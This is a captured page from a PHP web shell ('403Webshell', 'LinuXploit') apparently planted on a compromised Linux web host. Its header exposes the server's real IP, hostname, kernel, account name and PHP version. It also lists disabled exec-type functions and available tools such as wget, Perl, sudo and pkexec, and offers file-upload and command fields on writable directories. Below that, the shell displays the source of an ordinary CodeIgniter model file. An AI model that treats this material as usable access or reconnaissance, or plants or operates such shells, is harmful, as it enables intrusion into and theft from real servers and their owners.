403Webshell
Server IP : 101.53.144.229  /  Your IP : 216.73.216.104
Web Server : Apache
System : Linux host.gdigitalindia.in 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : digitalshiksha ( 1179)
PHP Version : 5.6.40
Disable Function : eval,show_source,system,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,dl,show_source,curl_multi_exechellcmd, ini_restore,apache_get_modules,get_cfg_var,passthru, exec ,proc_get_status,fpassthru,c999_buff_prepare,c999_sess_put,c99_buff_prepare,c99_sess_put,proc_close,ini_alter,dl,symlink,link,proc_close,ini_alter,dl,symlink,link,mail
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/digitalshiksha/public_html/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/digitalshiksha/public_html/application/models/Global_model.php
<?php 
#[\AllowDynamicProperties]
class Global_model extends CI_Model {

        public function getdata(){
                $this->load->database();
                $query = $this->db->query("Select * from global");
                $info = $query->result_array();
                foreach ($info as $row) {
			$data[$row['name']] = $row['value'];
		}
                return $data;
        }
        
        public function editsettings($name, $value){
                $this->db->set('value',$value);
                $this->db->where('name', $name);
                $this->db->update('global');
        }

        public function send_mail($data)
        {
                $this->load->library('email');
                $config['protocol']    = 'smtp';
                $config['smtp_host']    = admin_host;
                $config['smtp_crypto'] = 'ssl';
                $config['smtp_port']    = '465';
                $config['smtp_timeout'] = '7';
                $config['smtp_user']    = admin_username;
                $config['smtp_pass']    = admin_password;
                $config['charset']    = 'utf-8';
                $config['newline']    = "\r\n";
                $config['mailtype'] = 'html'; // or html
                $config['validation'] = TRUE; // bool whether to validate email or not    

                $this->email->initialize($config);
                $this->email->from(admin_username, admin_name);
                $this->email->to($data['toemail']);
                $this->email->subject($data['subject']);
                $this->email->message($data['message']);
                
                if (isset($data['attachment']) && !empty($data['attachment'])) {
                   $this->email->attach($data['attachment']);
                }

                if (!$this->email->send()) {
                        return $this->email->print_debugger();
                } else {
                        return 1;
                // redirect('home/thanks');
                }
        }

        public function getblog($active = NULL){
                $this->load->database();
                if(isset($active)){
                    $query = $this->db->query("Select * from blog where status = 1 ");
                }
                else{
                $query = $this->db->query("Select * from blog");
                }
                return $query->result_array();
        }

        public function contact($data = array())
        {
            $insert = $this->db->insert('form', $data);
        }
        
        public function enquiry($data = array())
        {
            unset($data['submit']);
            $insert = $this->db->insert('enquiry', $data);
        }

}

Youez - 2016 - github.com/yon3zu
LinuXploit